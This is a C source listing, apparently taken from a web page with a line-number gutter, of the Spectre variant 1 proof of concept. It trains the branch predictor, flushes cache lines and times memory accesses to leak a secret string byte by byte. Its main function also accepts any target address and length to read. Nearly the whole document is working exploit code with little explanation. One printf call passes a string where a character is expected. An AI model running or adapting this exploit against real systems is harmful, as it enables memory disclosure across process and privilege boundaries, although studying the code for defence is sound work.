1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
|
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
/* intrinsic for clflush instruction */
_mm_clflush( & array2[i * 512]);
/* 30 loops: 5 training runs (x=training_x) */
/* per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x */
/* if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
/* READ TIMER & COMPUTE ELAPSED TIME */
time2 = __rdtscp( & junk) - time1;
/* READ TIMER & COMPUTE ELAPSED TIME */
time2 = __rdtscp( & junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5)
|| (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
/* default for malicious_x */
size_t malicious_x = (size_t)(secret - (char * ) array1);
int i, score[2], len = 40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
|
